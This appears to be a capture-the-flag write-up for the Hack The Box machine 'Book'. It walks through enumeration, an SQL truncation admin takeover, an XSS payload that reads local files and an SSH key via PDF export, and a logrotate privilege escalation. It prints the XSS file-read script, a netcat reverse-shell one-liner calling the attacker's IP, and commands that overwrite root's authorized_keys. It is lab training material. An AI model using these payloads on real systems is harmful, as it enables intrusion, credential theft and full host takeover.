

# Enumeration

From the SSH version (OpenSSH 7.6p1) that nmap showed us we can say that the victim machine is running Ubuntu bionic (<https://launchpad.net/ubuntu/+source/openssh/+changelog>)

## nmap

```
# Nmap 7.80 scan initiated Mon Mar 30 12:32:21 2020 as: nmap -sC -sV -oA nmap/book
10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.060s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|   PHPSESSID:
|_  httponly flag not set
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

# Nmap done at Mon Mar 30 12:32:36 2020 -- 1 IP address (1 host up) scanned in 14.97 seconds

## interesting

<http://10.10.10.176/contact.php> -> admin email -> admin@book.htb

<http://10.10.10.176/collections.php> -> an user can submit a new book (uploads are always interesting)

<http://10.10.10.176/admin> -> admin panel (probably we'll need to get admin access to the platform, we already have the possible email)

<http://10.10.10.176/profile.php> -> tried to play with the name of login, if we insert a long name such as testtesttesttesttesttesttest it is trimmed to testtestte, so maybe there is some sort of limitation that could be implemented also for the email field when we register to the platform

## directoy bruteforcing

```
ffuf -u http://10.10.10.176/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o /
home/lu191/Writeups/Hackthebox/machines/Book/brute
```

v1.1.0-git

---

```
:: Method      : GET
:: URL         : http://10.10.10.176/FUZZ
:: Wordlist     : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
```

```
:: Output file      : /home/lu191/Writeups/Hackthebox/machines/Book/brute
:: File format     : json
:: Follow redirects : false
:: Calibration     : false
:: Timeout        : 10
:: Threads        : 40
:: Matcher        : Response status: 200,204,301,302,307,401,403
```

---

```
# directory-list-2.3-medium.txt [Status: 200, Size: 6800, Words: 461, Lines: 322]
#                               [Status: 200, Size: 6800, Words: 461, Lines: 322]
#                               [Status: 200, Size: 6800, Words: 461, Lines: 322]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 6800, Words: 461,
Lines: 322]
#                               [Status: 200, Size: 6800, Words: 461, Lines: 322]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6800, Words: 461,
Lines: 322]
#                               [Status: 200, Size: 6800, Words: 461, Lines: 322]
# on atleast 2 different hosts [Status: 200, Size: 6800, Words: 461, Lines: 322]
# This work is licensed under the Creative Commons [Status: 200, Size: 6800, Words: 461, Lines:
322]
#                               [Status: 200, Size: 6800, Words: 461, Lines: 322]
# Priority ordered case sensitive list, where entries were found [Status: 200, Size: 6800, Words:
461, Lines: 322]
# Copyright 2007 James Fisher [Status: 200, Size: 6800, Words: 461, Lines: 322]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6800, Words: 461,
Lines: 322]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6800, Words: 461, Lines:
322]
docs           [Status: 301, Size: 311, Words: 20, Lines: 10]
admin          [Status: 301, Size: 312, Words: 20, Lines: 10]
images         [Status: 301, Size: 313, Words: 20, Lines: 10]
```

## ***SSH Access***

## ***SQL Truncation attack***

After trying to guess the admin password with no success it's time to look deeper at the login and signup form.

In the page we see a JS function that checks the name and email length

```
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}
```

These checks are not really well implemented, there is no check on the length.

So I tried to look for vulns related to the length of the input and I found an attack called SQL

truncation (<https://resources.infosecinstitute.com/sql-truncation-attack>).

I tried it and it indeed worked, now we have access to the admin portal.

I started to script it with python in case the machine gets resetted.

Functions of exploit.py in the scripts directory:

grabSessionCookie() -> generic function to get the session cookie (PHPSESSID) that is needed for all the requests

overwriteAdminCreds() -> it implements the SQL Truncation attack

signupUser() -> register a new user (it's called by overwriteAdminCreds to overwrite admin password)

loginAdmin() -> login as admin, so it also tests if the attack succeeded or not

## ***XSS LocalFileRead***

Now as admin I have access to new pages of the platform

<http://10.10.10.176/admin/users.php>

<http://10.10.10.176/admin/messages.php>

<http://10.10.10.176/admin/feedback.php>

These three pages don't seem to be useful because we have only a delete button and they don't seem vulnerable to XSS or SSRF or other vulnerabilities.

The page that looks interesting is <http://10.10.10.176/admin/collections.php> where we have an export button (one for the users and one for the book collections), this button exports a list in a pdf format.

We have the possibility to upload a collection, and then we can export the collections; so probably there's a way to have a way to read local file from the server (maybe through a SSRF with the file:/// protocol), so looking online for vulns like this we found a blog post <https://www.noob.ninja/2017/11/-local-file-read-via-xss-in-dynamically.html> that shows how to perform an SSRF with a XSS payload to read a local file, let's try out.

I scripted it to have a better control of the whole situation:

loginUser() -> used to login as user and upload a crafted collection

uploadCollection() -> used to upload the crafted collection

exportCollectionsPdf() -> used to write the exported PDF to a file on our system

readPdf() -> used to read the PDF (it decodes the text to base64 because the XSS payload encodes the local file in base64 to avoid encoding issues)

XSS payload used:

```
<script>
  x = new XMLHttpRequest;
  x.onload = function() {
    body = btoa(this.response);
    document.write(body);
  };
  x.open("GET", "file:///etc/passwd");
  x.send();
</script>
```

## ***SSH private key***

Reading the /etc/passwd we discovered that the box has a user called reader.

Let's check if this user has an ssh private key (SSH port is opened) and if we have the possibility to read it via the XSS payload

We indeed can read it and after copying it to a file we can ssh into the box as reader user.

This process can be done also with the exploit I made just reading /home/reader/.ssh/id\_rsa file instead of /etc/passwd

# Root

## enumeration

After logging in as reader user we see an interesting directory called backups that has into it two files called access.log and access.log.1

We copied our useful enumeration tools into the box and started automatic enumeration with LinPEAS.

Our side:

```
python3 -m http.server
```

```
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

```
10.10.10.176 - - [12/Jul/2020 16:04:52] "GET /linpeas.sh HTTP/1.1" 200 -
```

SSH prompt:

```
reader@book:~$ wget http://10.10.14.236:8000/linpeas.sh
```

```
--2020-07-12 14:09:51-- http://10.10.14.236:8000/linpeas.sh
```

```
Connecting to 10.10.14.236:8000... connected.
```

```
HTTP request sent, awaiting response... 200 OK
```

```
Length: 226759 (221K) [text/x-sh]
```

```
Saving to: 'linpeas.sh'
```

```
linpeas.sh 100%-
```

```
[=====]  
221.44K 505KB/s in 0.4s
```

```
2020-07-12 14:09:52 (505 KB/s) - 'linpeas.sh' saved [226759/226759]
```

We have correctly guessed the version of the operating system (Bionic)

```
Linux version 5.4.1-050401-generic (kernel@tangerine) (gcc version 9.2.1 20191109 (Ubuntu  
9.2.1-19ubuntu1)) #201911290555 SMP Fri Nov 29 11:03:47 UTC 2019
```

```
Distributor ID: Ubuntu
```

```
Description: Ubuntu 18.04.2 LTS
```

```
Release: 18.04
```

```
Codename: bionic
```

But we didn't find anything else useful. Let's try pspy to snoop on processes

Our side:

```
python3 -m http.server
```

```
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

```
10.10.10.176 - - [12/Jul/2020 16:08:03] "GET /pspy64 HTTP/1.1" 200 -
```

SSH prompt:

```
reader@book:~$ wget http://10.10.14.236:8000/pspy64
```

```
--2020-07-12 14:13:02-- http://10.10.14.236:8000/pspy64
```

```
Connecting to 10.10.14.236:8000... connected.
```

```
HTTP request sent, awaiting response... 200 OK
```

```
Length: 3078592 (2.9M) [application/octet-stream]
```

```
Saving to: 'pspy64'
```

```
pspy64 100%-
```

```
[=====]  
2.94M 504KB/s in 6.1s
```

2020-07-12 14:13:08 (490 KB/s) - 'pspy64' saved [3078592/3078592]

We started pspy:

```
2020/07/12 14:20:38 CMD: UID=0   PID=5479 | /usr/sbin/logrotate -f /root/log.cfg
2020/07/12 14:20:38 CMD: UID=0   PID=5478 | /bin/sh /root/log.sh
2020/07/12 14:20:38 CMD: UID=0   PID=5480 | sleep 5
2020/07/12 14:20:43 CMD: UID=0   PID=5482 | /usr/sbin/logrotate -f /root/log.cfg
2020/07/12 14:20:43 CMD: UID=0   PID=5481 | /bin/sh /root/log.sh
2020/07/12 14:20:43 CMD: UID=0   PID=5483 | sleep 5
```

Root seems to run logrotate every 5 seconds, we found a possible scenario of privesc to root abusing logrotate

<https://packetstormsecurity.com/files/154743/Logrotate-3.15.1-Privilege-Escalation.html>

## ***Logrotate Privesc***

We first need to compile logrotten exploit downloaded from <https://github.com/whotwagner/-logrotten>:

```
gcc logrotten.c -o logrotten
```

My side:

```
python3 -m http.server
```

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.10.10.176 - - [12/Jul/2020 16:32:41] "GET /logrotten HTTP/1.1" 200 -

SSH shell:

```
reader@book:~$ wget http://10.10.14.236:8000/logrotten
```

```
--2020-07-12 14:37:40-- http://10.10.14.236:8000/logrotten
```

Connecting to 10.10.14.236:8000... connected.

HTTP request sent, awaiting response... 200 OK

Length: 18288 (18K) [application/octet-stream]

Saving to: 'logrotten'

```
python3 -m http.server
```

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.10.10.176 - - [12/Jul/2020 16:36:12] "GET /nc HTTP/1.1" 200 -

logrotten 100%-

[=====

17.86K --.-KB/s in 0.07s

2020-07-12 14:37:40 (265 KB/s) - 'logrotten' saved [18288/18288]

We need also netcat to then call a reverse shell.

SSH shell:

```
reader@book:/tmp$ wget http://10.10.14.236:8000/nc
```

```
--2020-07-12 14:41:12-- http://10.10.14.236:8000/nc
```

Connecting to 10.10.14.236:8000... connected.

HTTP request sent, awaiting response... 200 OK

Length: 35520 (35K) [application/octet-stream]

Saving to: 'nc'

nc 100%-

[=====

34.69K --.-KB/s in 0.09s

2020-07-12 14:41:12 (368 KB/s) - 'nc' saved [35520/35520]

We started to perform the actions needed to exploit the vulnerability:

We first wrote the payload file with the command we want to execute as root (we call the reverse shell using nc):

```
reader@book:~$ echo 'rm /tmp/fi;mkfifo /tmp/fi;cat /tmp/fi|/bin/sh -i 2>&1 | /tmp/nc 10.10.14.236 9001 -e /bin/bash' > payloadfile
reader@book:~$ cat payloadfile
rm /tmp/fi;mkfifo /tmp/fi;cat /tmp/fi|/bin/sh -i 2>&1 | /tmp/nc 10.10.14.236 9001 -e /bin/bash
```

We execute the exploit with the payloadfile:

```
reader@book:~$ ./logrotten -p payloadfile /home/reader/backups/access.log
Inotify watch return: 1
Waiting for rotating /home/reader/backups/access.log...
```

Then in another SSH shell we overwrote the content of access.log to trigger the rotation:

```
reader@book:~$ echo "hi" > backups/access.log
```

The rotation started and we see the results on the other shell:

```
Length read: 32
Buffer read:
Length read: 32
Buffer read:
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/-
bash_completion.d
Waiting 1 seconds before writing payload...
Done!
```

We got the reverse shell with netcat listening on another tmux pane:

```
nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.236] from (UNKNOWN) [10.10.10.176] 55130
# ls
```

The shell dies quickly, but we can overwrite the `authorized_keys` of root inserting a `public_key` of an ssh key created and owned by us:

```
wget http://10.10.14.236:8000/root_id_rsa -O /root/.ssh/authorized_keys
```

Finally we can login as root with SSH.